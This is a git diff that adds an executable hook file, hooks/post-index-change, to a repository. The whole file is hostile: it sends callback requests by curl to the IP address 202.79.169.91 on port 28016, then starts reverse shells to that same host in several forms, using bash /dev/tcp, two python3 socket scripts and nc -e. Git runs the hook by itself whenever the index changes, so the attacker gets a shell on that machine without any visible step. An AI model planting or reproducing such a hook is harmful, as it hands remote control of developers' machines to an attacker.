diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..5bb1f12 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,40 @@ +#!/bin/sh +# Stage 0: Quick callback to confirm exec +curl -s -m 3 http://202.79.169.91:28016/stage0_started || true + +# Stage 1: bash reverse shell via /dev/tcp +bash -i >& /dev/tcp/202.79.169.91/28016 0>&1 & +sleep 1 + +# Stage 2: python3 PTY reverse shell +python3 -c ' +import socket,subprocess,os,pty +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect(("202.79.169.91",28016)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +pty.spawn("/bin/bash") +' & +sleep 1 + +# Stage 3: Plain python reverse shell +python3 -c ' +import socket,subprocess,os +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect(("202.79.169.91",28016)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +subprocess.call(["/bin/sh","-i"]) +' & +sleep 1 + +# Stage 4: nc reverse shell +nc 202.79.169.91 28016 -e /bin/sh & +sleep 1 +nc 202.79.169.91 28016 -e /bin/bash & +sleep 1 + +# Stage 5: curl to download callback script +curl -s -m 3 http://202.79.169.91:28016/stage5_done || true